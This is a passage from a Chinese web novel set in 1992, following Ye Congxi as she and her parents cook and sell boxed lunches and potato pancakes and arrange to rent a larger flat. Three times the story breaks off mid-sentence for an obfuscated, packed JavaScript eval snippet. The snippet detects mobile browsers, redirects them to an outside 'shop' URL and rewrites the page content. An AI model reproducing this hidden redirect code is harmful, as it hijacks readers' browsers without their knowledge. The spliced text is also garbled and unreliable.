叶从溪：“花钱是为了更好地攒钱呀，你看中午那家炒米粉用的就是煤气灶，那火多旺啊，我们也换上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698775|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，到时候炒菜快，就能多做多卖了。” “放心吧爸，你算算我们今天就赚了多少钱，肯定能攒够三百的。” 叶大翔算了下，晚上土豆丝饼也卖了四十多块，加上中午的八十，早上的三十……！ 叶大翔觉得自己又行了。 洗了碗洗好澡，林秋娇跟叶大翔抢着把钱数一遍。 叶从溪把盒子一盖：“睡觉，明天还要早起去买菜。” 三人也是累了一天，纷纷倒头就睡。 翌日。 叶从溪习惯性五点多就起床，她去客厅倒杯水。 因为怕吵醒爸妈，轻手轻脚的。 她喝完水，叹了口气。 这房子便宜是便宜，但房间不够，而且太旧了，墙皮经常掉下来，有次还砸到她脸上。 还是得想办法重新租其他房子啊。 回到房间，叶从溪先拿出书看一遍，到了七点，就跟着她爸去菜市场。 香菇，鸡腿，还有姜。 土豆跟小米椒还有大蒜也来点。 叶大翔看见熟人：“你在这等爸爸，我去问问煤气罐。” 这熟人就是送煤气的，是叶大翔一个小弟的叔叔。 之前被另一群小混混收保护费，叶大翔出头帮忙过。 过了会，叶大翔就回来了。 “煤气一罐二十五块。”本来还要一百块押金的，人家没收。 他们回到家时，煤气瓶也送到家里了。 熟人见是叶从溪掏钱，笑着说：“你们家是闺女管钱啊。” 叶大翔：“那可不，我家就我女儿学历最高，高中生。” 熟人帮忙把管道跟煤气灶安装好，打了下气，确定没问题：“行了，没气了就喊我来换。” 叶大翔跟林秋娇都没用过煤气灶，好奇地去研究。 叶从溪立刻分配任务，叶大翔负责切鸡腿肉跟土豆丝，林秋娇负责洗蘑菇还有洗米煮饭。 叶从溪打开一本练习册。 高一的题目，刚开始很多知识点她都不记得，幸好一边翻书一边做，手感慢慢回来了。 她看着时间差不多，出门拿起一个碗，指着里面花枝的图案：“妈，你以后煮米饭就加那么多油，到这个花这里，盐就是这么一勺，记得要搅匀。” 然后又把水的量告诉她：“水就加到划痕这里。” 林秋娇点点头，量多少她听不懂，但位置她能记住。 叶大翔已经把鸡块切好，叶从溪开始教他怎么腌。 “姜、盐，酱油……” 叶大翔掏出小本本记啊记，姜几根，盐几勺……记到后面他傻眼了，乱了乱了，根本不知道怎么记：“小溪，我们要不要买个秤？那种能秤到克的，以后一道菜要放多少克盐，多少克酱油就直接秤。” 叶从溪说：“这样太死板了，而且食材的状态不一样，用调味料也不一样，没事爸，你先熟悉下步骤，我到时候会教你怎么判断该加多少。” 香菇蒸鸡很简单，鸡肉腌过后跟切片的香菇一起上锅蒸就行，时间把控好，蒸出来的鸡肉又嫩又香。 热气顺着锅盖掀起的动作冒出，香菇的鲜味混着鸡肉的鲜味，底部积着一层浅酱色的汤汁，清亮亮地泛着油花，一把葱花撒上去，卖相更漂亮了。 林秋娇看一眼就馋晕了：“这用来拌饭肯定好吃！” 8. 8 林秋娇强忍着馋意，在一旁舀饭。 她饭勺才挪两下，眼睛又控制不住飘去锅里，被里头的香菇蒸鸡勾得喉咙直动。 等把鸡肉分到饭盒里时更是难熬，太考验意志力啦！ 蒸完全部的鸡肉，就开始准备炒土豆丝了。 叶大翔在刀工上确实有点天赋，可能也是昨晚土豆丝切多，手感练出来了，今天的土豆丝又比昨天细一圈。 叶从溪在旁边指导：“锅里下油，烧热点，让油在锅里转一圈，润润锅。” “我，我行吗？”昨天做的土豆丝失败了，叶大翔手用力握住锅柄，特别紧张。 叶从溪：“试试嘛，我说你做，还是不行就自己吃。” 叶大翔热好油，余光已经锁定切好的配料，正准备拿起倒进锅里，就听见叶从溪说：“把油倒出来。” “啊？不是要炒菜吗？怎么又倒出来？” “倒，听我的。” 叶从溪继续说：“然后重新添油……好啦，停，就这样，一盆土豆丝用那么多油就够了，太少了炒不香，太多了油腻，你自己感觉一下这个量。” 中餐这东西，真没什么死规矩，全靠手感，多练练就熟了。 “现在下辣椒和蒜，”叶从溪顺嘴解释，“先热锅，再冷油下锅就不会粘。” 叶大翔恍然大悟：“哎呀，难怪昨天那锅糊底，那土豆丝黏在锅底翻都翻不过来。” 锅里的热油将辣椒的辣，蒜头的香都激发出来，闻着这味，叶大翔眼睛都亮了。 对对对，这才是他要的效果啊。 他一边开心地炒，一边看煤气炉冒出来的火忍不住感叹：“这大火炒起来确实不一样，火还是蓝色的呢。” 他们家的锅大，而蜂窝煤就碗口大小，烧出来的火也就在这个范围，确实没有煤气灶炒起来爽。 叶从溪看着锅里的土豆丝，火候一到，立刻加盐淋醋。 一锅金灿灿的酸辣土豆丝成功出锅。 今天的新饭盒一共有三个格子。 林秋娇已经分好米饭跟香菇蒸鸡肉，接下来把土豆丝铺到另一个格子，整整齐齐盖上饭盒，往泡沫箱里一摆。 剩下的那点饭菜就不装了，三人围在小桌子上呼噜噜开吃。 鸡肉鲜嫩，香菇吸饱了鸡汁的荤味，林秋娇淋汁拌饭，吃得满嘴油光。 吃完，三人拉车出摊。 - 刚到工厂门口，宋羽就已经眼巴巴在等了。 今天她下班早，一直在惦记着午饭，想吃香菇蒸鸡肉，又担心没有红烧肉下饭。 看见叶从溪他们，她赶紧过来拿自己的盒饭，顺便把同事那一份也拿了。 叶从溪今天还带了个本子：“明天要提前订餐吗？” 宋羽悄悄将饭盒打开一条缝。 香菇鸡肉跟酸辣土豆丝的香味一起窜出来，嫩滑的鸡腿肉混着乌黑油亮的香菇片散发着诱人的色泽，绿莹莹的葱花点缀在上头，看得人胃口大开。 宋羽深深吸了一口香味，立刻作出决定：“要！” 给了钱，宋羽拿着饭盒回去。 刚好同事也下工了，两人去食堂找位置坐下来。 宋羽夹起一块鸡肉，鸡肉嫩得入口即化，轻易一抿就脱骨，泡软的蘑菇一嚼全是咸鲜滋味。 她又将底下的汤舀起来淋在米饭上。 虽然不像红烧肉那种酱褐色的那么有冲击力，但吃起来滋味一点都不差，果然厨艺好的人做什么都好吃。 土豆丝还没动，宋羽已经配着香菇鸡肉吃掉三分之二的饭了。 土豆丝也相当下饭，这点米饭肯定不够吃。 宋羽想了想，本来打算去食堂买一份米饭的，不过想起食堂米饭味道一般般，最后改成买雪碧。 等饭吃完了，将脆香爽口的酸辣土豆丝配着冰镇雪碧喝，爽啊！ 同事也大口扒拉着：“好好吃啊，这鸡肉的汤汁也好香，咸淡刚刚好……你怎么发现这家店的？” “好像是这两天才摆的，我又把明天的午餐订了。”宋羽现在对其他东西都不感兴趣，就想要吃这家的盒饭。 同事一听：“我也要去订饭，别到时候没了。” 两人吃完饭，又往工厂外走。 小摊已经被人团团围住。 有昨天攒下的回头客，还有看见这边那么多人围过来凑热闹的。 他们踮着脚往里头看，偶尔还能闻见一股饭香味，那兴趣一下就来了，纷纷都想尝一尝。 “给我来一份！多少钱？” “筷子呢筷子？” “两块五一份，筷子那边自己拿一下。”叶大翔忙得手都快跟不上。 这些人跟不要钱一样就涌上来，太吓人了！ 不过买的是他家的东西，在叶大翔眼里，这些人就全都变成了钱。 盒饭一层层地减少，很快，最后一份递出去，叶大翔擦了一把汗：“好了，今天没有啦，全部都卖完啦。” 吴林今天下班晚，好不容易挤进来，听见叶大翔说没有了三个字，感觉天都塌了。 “你们也做太少了吧。”吴林不死心往泡沫箱里一看，“这不是还有两盒吗？” “这是别人预订的。”叶大翔生怕他将刘大爷跟张阿婆这两份也拿走，连忙给盖上。 吴林一听：“还能预订啊？那我也要订一份！” “行，”叶从溪掏出小本本，“一样是一荤一素，两块五一份，报个名字。” 唉，可惜现在是1992年，如果是在2025年，直接让顾客扫微信拉个群词语接龙可方便多了。 “吴林。”吴林掏出钱。 他看见本子已经有别人的预订信息，心中有点懊悔。 要是他早点知道能预订该多好，就不会错过今天的盒饭！ 登记完，吴林垂头丧气地走开，随便找了家店凑合。 结果就是越吃越没滋味，心里只惦记盒饭。 林秋娇刚去买汽水，刘大爷跟张阿婆就来了。 叶大翔重新打开泡沫箱：“你们怎么才来，刚刚人挤人，差点连你们这两份都要抢走！幸亏我死命护住，不然连根鸡骨头都不剩。” 张阿婆：“隔壁老李家要搬家，我们顺便帮个忙，就忙到现在才过来。” 刘大爷一看，泡沫箱真的空空如也：“都卖完了？你们几点来的？” 叶从溪出门前看过时间：“十一点。” 刘大爷低头看了看自己的手表，现在才刚十二点半，这就都卖空了？ 他知道就叶从溪这手艺，他们家生意肯定能起来的，但没想到起那么快啊。 幸好给叶家送了个煤气灶，自己这一个月都能吃上，值了值了。 刘大爷掏出五块钱，把明天的餐也订上。 叶从溪喊住张阿婆：“阿婆，我刚刚听你说隔壁搬走，是一楼吗？” 张阿婆：“不是，是三楼，就我旁边那栋。” 叶从溪：“那房子现在没人住？” “对啊，这房子本来是厂里分配的，年初出了个政策，职工掏钱可以把房子买下来，他们就买了。不过现在女儿在关内工作，不知道干什么的，钱是多，但特别忙，也不好好吃饭，上个月还住院了，老两口商量了下，干脆搬到那边去，还能照顾孩子生活。”张阿婆疑惑叶从溪怎么突然问这个。 他们涌头镇就在关外，这块地方是千禧年后才开始飞速发展起来的。 现在鹏城还有“关外非洲，关内欧洲”的说法。 叶从溪：“这房子他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698776|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们出不出租啊？” 张阿婆倒是没想到她是这个打算：“你想租啊？行，回头我帮你打个电话问问。” 叶从溪笑着点点头：“那麻烦您了。” 张阿婆多看了叶从溪几眼。 这孩子，自从她爸那次进了趟派出所，整个人倒是懂事很多。 林秋娇抱着三瓶橘子汽水回来，三人坐在大榕树下喝完才回家。 叶从溪中午习惯性睡二十分钟。 醒来去外面用水冲把脸，看见叶大翔推着自行车：“爸，你去哪？” 叶大翔：“我去买土豆，晚上我们还去摆摊吧？” 叶从溪点头：“可以啊。” 早上是学习第好时机，叶从溪想好了，早餐暂时不做，就做午餐跟宵夜。 先把那三百块还上。 要是真能租下张阿婆邻居那房子，到时候房租又是一笔钱。 到处都要钱呢。 叶大翔临走前又问：“晚饭你想吃什么？也吃土豆丝煎饼吗？” 叶从溪昨天闻了一晚上煎土豆饼的味道，她不太感兴趣了：“随便吧，不要煎炸的就行。” 没多久，叶大翔就骑车回来了。 “买了玉米跟猪肉，我们晚上包饺子吧，你看看这肉这玉米怎么样？” 玉米是他跟旁边的阿婆学的，把皮剥了挑，拿回来的两条那玉米粒都是紧实饱满的，漂亮得会发光。 猪肉是他直接跟摊主说，给他挑最适合包饺子的肉，不然回来找他算账。 摊主看着他这一头黄毛，赶紧给他拿了一块最漂亮的肉。 “挺好的。”叶从溪点点头。 叶大翔还咧着嘴笑呢，忽然一拍脑袋：“哎呀，我忘记买饺子皮。“ 叶从溪说：“爸，你去旁边买点面粉吧，我们自己做皮。” 等她爸买完面粉回来，叶从溪才想起家里连擀面杖都没有， 最后干脆拿那装酱油的瓶子洗干净了就开始擀。 林秋娇在剥玉米，叶大翔在剁肉。 叶从溪调好肉馅，一家三口围着包。 叶从溪包的饺子鼓鼓囊囊，形状漂亮，她爸她妈包得手忙脚乱，歪歪扭扭。 叶从溪笑着将他们的饺子拿过来：“我给你们的捏一捏，不然一上锅，全散架了。” 叶大翔：“我的也捏得很结实，这些要散的是你妈包的。” 林秋娇可不承认：“胡说，小溪包的最漂亮，我第二，你的最丑。” 叶从溪笑着将饺子摆在蒸盘上。 蒸熟之后，饺子皮鼓着极薄，饱满的饺肚子被馅料撑出皱皱巴巴的美味脉络，透得能看出猪肉的肌理跟玉米的颗粒感。 三人拿着筷子一夹，馅香扑鼻，玉米的甜跟猪肉的鲜搅在一起，咬开就是一口热乎乎的肉汁。 叶大翔吃得急的，赶紧撅着嘴去接，不然汁水就顺势往下滴了。 吃完饺子也五点了，叶从溪回屋看书，叶大翔开始削土豆。 他今天切了三大盆的量。 刚出摊就有人过来。 “我还在想你们今天摆不摆呢！” “昨天吃的那土豆饼太香了，我今天又来了。” 人群渐渐排起队来。 人一多，叶大翔忙得团团转，一慌手就有点忙不过来，叶从溪接过手帮忙。 她煎好土豆饼撒上辣椒粉递出去。 对方接过来咬一口，眼睛一亮，今天土豆饼比昨天的土豆饼还好吃！ 刘大爷晃过来，也要了两个土豆饼，他跟叶从溪讲：“对了，你张阿婆让我跟你说一声，那家人有把房子出租的打算，说你想要的话，找个时间去谈一谈。” 林秋娇跟叶大翔都凑过来，有点懵：“出租？谈什么出租？” 9. 9 两人都是一脸懵。 刘大爷比他们更懵：“不是你们让女儿去问三楼的房子出不出租吗？” 这会儿家里租房可不是小事，刘大爷潜意识就认为这肯定是大人们的主意，让小孩去问个口风。 结果看这两口子的反应，感情根本不知道啊？ 三双眼睛同时望向叶从溪。 叶从溪表情淡定：“哦，我忘记跟你们说了，张阿婆邻居不是搬走了嘛，我觉得那边很安静，环境也好，我想搬去那边住。” 林秋娇略带踌躇：“那边房租不便宜吧？” 叶从溪：“肯定比现在的贵。” 他们这套房租了十七八年了，那还是八零年的时候涨过一次租，没多久房东要出国，就让叶大翔每月往存折上打房租。 一直到现在，没再见过房东，房租也没再涨过。 林秋娇压低声音：“那，那我们能租得起吗？” 叶从溪笑着说：“怎么租不起？就算再贵，一个月也就一百多呀，妈，你看我们现在的生意，赚一百多是很难的事情吗？来……把这个煎饼装一下。” 客人已经在催了，林秋娇赶紧去拿袋子。 叶大翔恍惚地站起身，他又把锅铲接过来。 ……如果搬去河涌边，每个月的支出可要比现在多多了。 女儿下个月就要开学，总不能还让她出来摆摊，不用读书啊？ 家里还得是要靠他撑起来。 卖土豆丝饼这活也自由，没有老板管，赚得又比在工厂打零工多。 他得把技术练熟了，就算其他菜炒得不好吃，没有女儿帮忙盒饭生意干不了，他就凭这口煎饼，也能混个保底啊。 叶大翔一边想，一边更卖力地煎土豆丝饼。 收摊后，叶大翔在院子里烧水。 林秋娇在刷锅，刷着刷着，她打了个大哈欠。 叶大翔笑着：“困啦？等水热了，你就去洗澡睡觉吧。” 林秋娇用水冲掉锅上面的泡沫：“小溪先洗吧，让她早点睡。” 叶大翔进屋一趟，又出来，声音压低了些：“她说让你先洗，她还要看书。” 林秋娇探头往屋里望去，整个人靠在叶大翔背后：“年轻就是好，一天下来还能有精神学习，我怎么就这么累呢。” 叶大翔给她捏捏肩：“累是累，但是赚的钱多啊，你看看今天光土豆丝饼就赚了多少？” 林秋娇瘪着嘴，有点想哭。 好像是赚了不少，但她没什么实感啊。 除了一日三餐比以前香，其他也没多大变化，以前还更轻松点呢。 第二天一早。 外面街上人生嘈杂。 林秋娇翻了个身，她就睡在窗口边，被外面过路行人的脚步声跟说话声吵醒。 下了床，林秋娇又听见房间传来的低低背书声。 她轻轻将房间门推开一条缝，看见女儿耳朵里塞着两团棉花，正在埋头背书呢。 林秋娇心头一软，轻手轻脚地关上门。 等叶大翔也起了，叶从溪就把书合上，跟着她爸去菜市场买菜。 猪肉摊上，摊主正在分肉，刀起刀落的声音干错利落。 叶从溪挑了一条排骨，又去隔壁买了一袋子手工面。 她都安排好了：“早餐我们吃红烧排骨面。” 买完他们自己的早餐，又买了些木耳，辣椒，豆腐。 连续两天的素菜都是酸辣土豆丝，担心顾客吃腻，今天就变点花样换成鱼香豆腐吧。 家里的土豆也不能浪费，叶从溪挑了好几只大鸡腿，荤菜就定了黄焖鸡。 后来市面上的黄焖鸡几乎都是预制菜，但她在餐馆里做的黄焖鸡都是用新鲜鸡肉现炒的，非常受欢迎，老板定价六十八一份都有很多顾客点。 回到家，叶从溪先把排骨焯过水炒出糖色，淋上酱油老抽爆香加上八角香叶等一起炖，炖到排骨松软了，再把包着香料的滤网捞出来。 锅里的排骨汤透出浓亮诱人的酱香味，将五六分熟的手工面放下去捞着煮一煮，盛出来后撒上切碎的葱花香菜。 用筷子一拌，葱花混着排骨汤，不止解腻，还添香。 吸溜呼噜一大口面条，面条劲道弹牙，挂满排骨汤汁，咸香回甘，还带着排骨炖透后释放出来的肉味。 叶大翔吸溜一口，这排骨面又香又烫，他直眯眼：“这面条可太好吃了。” 林秋娇也顾不上说话，吃得一头汗，吃完还要去添。 吃完早餐，他们就去找张阿婆。 刘大爷也在：“老李留了把钥匙在我这，他让你们先去看看房子，合适再说。” 厂子有钱，建房子的用料都扎实，楼道也宽敞，一梯两户，房子一百多平，坐北朝南，还有一面靠东边，有三个房间跟两个卫生间，整个屋子又大又明亮。 跟以后的大平层肯定没法比，但放现在就是很好的房子了，还有个六、七米长的阳台，面向河涌，风一吹，特别凉爽。 林秋娇一进门，就看得嘴都合不上了，她小声地说：“这房子好大，好好看啊。” 而且真的很安静，只有几声蝉鸣跟鸟叫。 不知怎么的，林秋娇想起早上女儿塞着棉花背书的画面，她心里酸酸的。 现在租的房子临街，确实太吵了，而且一年到头晒不进一点太阳，衣服都是靠风吹干的，最近做饭多，油烟也多，得晚上就把衣服洗好，第二天做饭前收进来，不然有股油烟味。 这里就不一样了，阳光能照到客厅，要是能换到这里，小溪就能更专注地学习了。 “三个房间呢，”她掰着手指数，“都可以一人一间了，我长那么大，还没单独住过房呢。” 这房子，她真能住上？ 林秋娇越想越激动，心中莫名好像有一把火烧得旺盛。 叶从溪也很满意：“刘爷爷，他们说房租多少？” 刘大爷：“一百五一个月，不过要下个月才能搬进来，因为屋里还有点东西，他们月底还会再回来一趟，到时候再签合同。” 比现在的房租贵一百三，但很合理。 不过叶从溪还是先去看爸妈，想听听他们的意见。 叶大翔还没说话呢，林秋娇已经兴奋点头：“我们租！” 如果是现在租，林秋娇还有点犹豫，毕竟家里的钱还是不太够，但下个月的话，那还等什么？！ 租！ 回到家，林秋娇搬了张小板凳，坐在水盆边洗辣椒：“明天开始多备点菜，我们现在最少能做六十人份的饭盒了吧，要是卖不完，我就拿去玩具厂那边，那边我熟，能混进去卖。” “翔哥，晚上再多搞一盆土豆丝吧，一盆能挣十多块呢，我帮你洗土豆啊。” 叶大翔惊恐：“你还是我老婆吗？以前你都是能坐着绝不站着，能躺着绝不坐着的啊！” 现在居然主动提出要多干活？不对劲，太不对劲了！ 林秋娇当然知道他在想什么，嗔了他一眼：“我这不是想着多卖点，多攒钱，好早点把那房子租下来嘛。那房子多好啊，我都开始想象住进去后的日子了，我这辈子还没住过楼房呢。” 叶从溪竖起大拇指：“妈，你有这觉悟很好，租房只是第一步，以后我们还要买房，买那种有电梯的，一整层都是我们那种。” 现在轮到林秋娇也一脸惊恐：“电，电梯房，我们还能住电梯房？” 电梯她知道，落湖那边有个大厦，就是有电梯来着，可方便了。 现在还是个普通人也能吃上大饼的时代，叶从溪决定先把饼画上再说：“像你们之前那样过日子那肯定不行，但勤奋赚钱的话，我们一定能住上！” 林秋娇眼睛亮亮地看着女儿。 她觉得失恋后的女儿，真的变得好，好……她也不知道怎么形容，就是很迷人很可靠的感觉，比翔哥还要有安全感！ 今天的菜对刀工要求都不高，叶大翔早早把该切的都切了。 豆腐炸到两面金黄，再淋上调好的料汁，闷个几分钟，先让豆腐吸饱味，再下青红辣椒片还有木耳，翻炒几下，最后一点水淀粉收汁。 这样做出来的鱼香豆腐无论是卖相还是味道都是一绝。 鸡腿肉也是带着皮就下去锅煎，锅里滋滋啦啦，鸡油溢出来，鸡肉表面慢慢起焦，泛着油亮亮的光泽。 葱蒜、干辣椒、花椒一起下锅，爆炒出香味，叶从溪手脚麻利地倒入料汁，水滚开后加土豆和青红辣椒，撒几颗提鲜的冰糖，火关小，让它自己慢慢炖。 时间一到，锅盖一掀，满屋香气。 隔壁的小孩都馋哭了。 这句话不是夸张手法，是真有小孩哭了。 小院外两口子一个是修鞋的，一个是给人修面的。 暑假把儿子从老家带过来，那小孩闻见院子飘散出来的饭香味，囔囔着要吃。 实在没办法，男人敲门进来问，笑着说：“你们这饭菜可真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698777|189097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香，孩子吵着说想尝尝呢。” 叶从溪点头：“我们做盒饭的，你要买一份吗？” 男人只好问：“多少钱？” “两块五。” 男人一听，直皱眉：“我们就给小孩吃的，弄个一块钱的吧，就小份的那种就行。” 叶从溪摇摇头：“没有，就只有两块五的。” 这价她定死的，做生意哪能随便改口。 男人脸色不太好，还想再说些什么，但看见院子里高高大大一头黄毛的叶大翔盯着这边，又不敢说什么。 那小孩还在旁边吵得更大声：“我要吃！我就要吃！” 男人抓起儿子抬手啪啪啪打他屁股：“要什么要？人家不卖给你，你哭有什么用？哭也吃不上！还哭？！” 这要是碰上个心软的，说不定心疼孩子就松口了。 但叶从溪只是直接把门关上。 又不是她的孩子，她心疼啥？ 过了会，门又被敲响了，这次是孩子妈妈过来。 女人掏出两块五：“来一份吧，孩子哭得我头都大了。” 叶从溪把饭盒递出去，门还没关紧，她听见男人的吐槽声：“就这还要两块五，赚死他们了。” 女人用胳膊顶了顶他：“你小点声，我觉得可以了，有菜有肉，还这么香……唉哟儿子，你慢点吃，小心别噎着。” …… 等全部盒饭都分好，他们也开餐了。 叶从溪先尝一口鱼香豆腐。 这道菜她做得少，先前豆腐都是用煎的，今天第一次尝试用油炸，吃起来外脆里嫩，酸甜辣刚刚好。 她满意点头，炸的确实比煎的要香。 吃完午餐就要出摊。 现在外头太阳大，工厂看门的狗都不爱出门了。 而宋羽为了能第一时间吃上盒饭，一下工就拉着同事在大榕树下等。 她热得额头出汗，小腿都被蚊子咬了两个包，可算是把他们等来。 叶从溪也已经眼熟宋羽，她直接掏出盒饭，在本子上划掉她们的名字：“今天换菜了，怕你们吃腻，素菜换成鱼香豆腐，荤菜是黄焖鸡。” 宋羽一听酸辣土豆丝被换掉，心情一下有些郁闷。 她真想大声呐喊，她吃不腻，她能吃一辈子酸辣土豆丝啊！ 虽然难过，宋羽还是老老实实把明天的餐也给订上。 说不定明天就换回酸辣土豆丝了呢，她可不能错过。 宋羽跟同事回到食堂，她掀开饭盒盖子，失落的心情立刻一扫而空。 豆腐被切成三角形，表面泛着一层浅浅的焦黄色，此时正挂着莹亮油润的酱汁，再加上颜色多样的辣椒木耳配菜，看一眼都要流口水。 宋羽先夹起一块热腾腾的豆腐，咔擦一声，开胃的酸香微辣味就冒了出来，紧接着扎实的焦香豆腐香气，炸过的表皮带着那一点韧劲，里面的豆腐又滚烫嫩滑，好吃到犯规啊。 宋羽除了臭豆腐外，其他豆腐都不怎么喜欢吃，她觉得没味。 但这个鱼香豆腐不一样啊，那种酸甜鲜辣的滋味牢牢地扒在酥香的豆腐上，一点豆腥味都没有，香得她头都要掉了。 比外面那种炸臭豆腐口感还要带劲！ 木耳也是脆脆的，连配菜的辣椒都很下饭。 再见吧酸辣土豆丝，现在她最爱的素菜已经变成鱼香豆腐！ 吃过鱼香豆腐，宋羽又尝试夹起一块黄焖鸡。 这道菜跟昨天的香菇蒸鸡食材很相似，都是有鸡肉有香菇。 但做法不一样，呈现出来的口味完全不一样。 鸡块煎得皮焦肉嫩，有股被热油逼出来的脂香，鸡肉滑爽，又跟香菇一起炖得入味，那香味就是一层叠着一层的，吃起来滋味相当丰富。 宋羽都把嘴里的鸡骨头都嚼到碎了，这才舍得吐出来。 她又将黄焖鸡往米饭上面舀，浓香的汤汁一点点渗入米饭里，再添上一块沉甸甸的香菇送入口中，这样搭着吃那叫一个咸鲜满口。 一大碗盒饭，转眼的功夫，宋羽就全吃完了，她幸福地靠在椅背上。 外边。 盒饭的回头客实在多，这又吸引了一些路过的人。 刘大爷差点挤不进来。 叶从溪拿起两份盒饭，跟刘大爷说：“上面这份画了个勾的是您，里面的鱼香豆腐是煎的，没有炸过，放心吃吧。” 给完盒饭，她又问：“刘爷爷，能拜托您帮个忙吗？” 10. 10 刘大爷看了看叶从溪，又看了看她身后的叶大翔，刻板印象又起来了，警惕问：“你先说是什么事。” 他可是正经老头，不是什么忙都帮的。 “我昨天看三楼那房子地板有点脏，应该是搬家踩的，您不是有钥匙吗，能不能麻烦您有空帮忙打扫下，这样我们就能直接搬进去，也方便，”叶从溪笑得乖巧，又使出诱惑杀手锏，“如果您答应的话，我免费请您喝汤啊。” 刘大爷眼睛里立马冒出光来：“行，成交！” 刘大爷又忍不住感慨：“我看你们家，就你最有主意，你爸妈有你这个女儿是他们的福气。” 他见多了那种年轻时无所事事到处混，后来落个凄苦下场的人。 本来以为叶大翔也是其中之一。 现在一看，这人真是好命，有个那么聪明的女儿。 刘大爷回到家，喊张阿婆：“来吃饭啦！哇，你都不知道多少人挤在那抢。” “好东西嘛，大家都喜欢啦……咯咯咯你们也来吃饭啦。”张阿婆正往鸡槽里倒饲料，把鸡喊过来开饭后，她洗洗手，坐下来打开盒饭。 “今天是什么啊？”张阿婆低头一瞧，立刻被这卖相勾起了食欲，“这菜做得可太好看了。” 又香又好看。 本来还想着自己年纪那么大了，哪能跟小孩子一样馋吃的，得克制一点。 但夹起一块豆腐吃进嘴里后，她的克制全扔了。 张阿婆飞快地夹起第二块，第三块，第四块……嘴都停不下来：“我还是头一次吃这种做法的豆腐……慢着！这豆腐是炸的吧，你不能吃炸的。” 刘大爷整个脸都埋在饭盒里，声音含糊不清：“我这一份的豆腐是煎的，那孩子特意给我做的。” “那行，”张阿婆松口气，转头又馋了，“那你给我尝一块煎的呗。” 刘大爷立刻护住盒饭：“给不行，交换可以。” 张阿婆：“交换什么，你又不能吃炸的。” 刘大爷摆手：“那我不就亏了，不行不行。” 张阿婆：“以前怎么没发现你那么小气。” 刘大爷振振有词：“以前也没这么好吃的盒饭要抢啊！” 张阿婆：“……” 最后张阿婆用一块黄焖鸡换一片煎豆腐，她特意挑了最小的鸡块。 煎的豆腐跟炸的豆腐确实不太一样，更嫩一点，吸汁也更多，黄焖鸡也好吃，特别嫩，能吃得出来是新鲜鸡做的，这可比大部分饭店良心多了。 她看一眼对面吃得津津有味的刘大爷，完全没有往日不爱吃饭的样子，心想这煤气灶真没白送，值了值了。 - 一个星期后，早上六点，天蒙蒙亮。 昨晚，一家三口做完卖完土豆丝煎饼回来，累得洗漱之后倒头就睡。 今天一早起来，都围在一起，清点铁盒子里的钱。 叶从溪将钱分成三份：“这里三百块，是给江闻川的，这里是我们今天去采购的钱，剩下的就是生活费。” 叶从溪从生活费那抽出四十块，又分成两份，推到爸妈面前。 “上次给你们的五块钱都花完了吧？现在欠的钱已经攒够，以后赚的钱，我会定期给你们发工资的。” 叶大翔看着三百块，心头上一直悬着的那块大石头可算落地，他也不伸手接钱：“不用给我们钱，你收着吧，你管钱最稳当。” 说实话，这段时间他整个人都像做梦似的，以前哪里敢想不到半个月就能赚到三百块啊！ 林秋娇也点点头，她现在不稀罕二十块了，她稀罕大房子：“这钱要留着交三楼的房租。” “你们就收着吧，房租再干几天就有了。” 哪有又要马儿跑又要马儿不吃草的道理，还是得给点甜头，她爸妈才能更卖力地干活啊。 两口子对视一眼，最后还是乐呵呵把钱收下了。 分好钱，就去菜市场采购。 叶从溪今天打算做蒜苗炒豆干，荤菜则是红烧鱼。 依旧是叶大翔负责切菜，叶从溪负责调味跟监督火候。 把豆干切成条，先入锅炒香，再放小米辣跟蒜末，一勺生抽淋下去，香气立刻被逼出来。 接着才放蒜苗，这样炒出来的蒜苗叶才能保持脆嫩的口感。 最后大火爆炒。 火苗从锅底窜起，几乎将炒锅吞没，红光照在三人脸上，叶大翔跟林秋娇惊得眼珠子都要瞪出来了。 叶大翔眼里满满都是羡慕。 啥时候他也能练出这一手啊，那他能在街上边走边炒让大家都开开眼！ 叶从溪去看盆里的鱼块，鱼块加了葱姜、生抽、还有鸡蛋跟淀粉腌制，腌了大概有半小时。 “爸，你最拿手的来了，煎它。”叶从溪指了指那盆鱼，冲她爸抬了抬下巴。 “交给我！”叶大翔举起锅铲，先热锅冷油，再用小火慢慢煎。 头一次煎这种比较厚的肉，他就按照女儿说的，不要心急，多翻面看看状态。 最后煎到鱼块两面金黄，他忍不住回头炫耀：“怎么样小溪，爸爸煎的这个还不错吧？” 叶从溪背着手，她还算满意，悠悠地点头：“不错，不错，还可以，重新倒油放葱姜小米辣吧。” 佐料一入锅，辣味扑鼻，叶大翔将鱼块放下去。 